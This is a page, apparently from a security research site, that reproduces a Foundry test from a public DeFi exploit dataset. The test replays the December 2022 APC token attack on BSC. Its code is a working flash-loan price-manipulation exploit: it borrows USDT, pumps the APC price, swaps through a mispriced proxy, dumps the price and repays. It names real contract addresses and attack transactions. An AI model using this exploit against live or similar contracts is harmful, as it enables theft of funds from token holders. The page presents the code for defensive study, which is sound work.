Public reproduction file
src/test/2022-12/APC_exp.sol
Public reproduction file for dataset entry - APC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/15982620020103782419// @TX10// https://bscscan.com/tx/0xbcaecea2044101c80f186ce5327bec796cd9e054f0c240ddce93e2aead337370 first attack11// https://bscscan.com/tx/0xf2d4559aeb945fb8e4304da5320ce6a2a96415aa70286715c9fcaf5dbd9d7ed2 second attack13interface TransparentUpgradeableProxy {14 function swap(address a1, address a2, uint256 amount) external;15}17contract ContractTest is Test {18 IERC20 APC = IERC20(0x2AA504586d6CaB3C59Fa629f74c586d78b93A025);19 IERC20 MUSD = IERC20(0x473C33C55bE10bB53D81fe45173fcc444143a13e);20 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);21 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);22 TransparentUpgradeableProxy transSwap = TransparentUpgradeableProxy(0x5a88114F02bfFb04a9A13a776f592547B3080237);23 address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);27 function setUp() public {28 cheats.createSelectFork("bsc", 23_527_906);29 }31 function testExploit() public {32 APC.approve(address(Router), type(uint256).max);33 APC.approve(address(transSwap), type(uint256).max);34 USDT.approve(address(Router), type(uint256).max);35 MUSD.approve(address(transSwap), type(uint256).max);36 DVM(dodo).flashLoan(0, 500_000 * 1e18, address(this), new bytes(1));38 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);39 }41 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {42 USDTToAPC(); // Pump APC token price43 transSwap.swap(address(APC), address(MUSD), 100_000 * 1e18); // APC swap to MUSD with incorrect price, get more MUSD44 APCToUSDT(); // Dump APC token price45 transSwap.swap(address(MUSD), address(APC), MUSD.balanceOf(address(this))); // MUSD swap to APC with normal price46 APCToUSDT(); // sell the obtained of APC47 USDT.transfer(dodo, 500_000 * 1e18);48 }50 function USDTToAPC() internal {51 address[] memory path = new address[](2);52 path[0] = address(USDT);53 path[1] = address(APC);54 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(55 USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp56 );57 }59 function APCToUSDT() internal {60 address[] memory path = new address[](2);61 path[0] = address(APC);62 path[1] = address(USDT);63 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(64 APC.balanceOf(address(this)), 0, path, address(this), block.timestamp65 );66 }67}Analysis
Dataset entry
Public Foundry test for “- APC” (2022-12-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- APC
- Path
- src/test/2022-12/APC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- daae3fef03c4e445c1369dad1938ca2bb804ca8d
- Language
- Solidity
- Size
- 68 lines
- Date
- 2022-12-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/APC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob daae3fef03c4e445c1369dad1938ca2bb804ca8d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.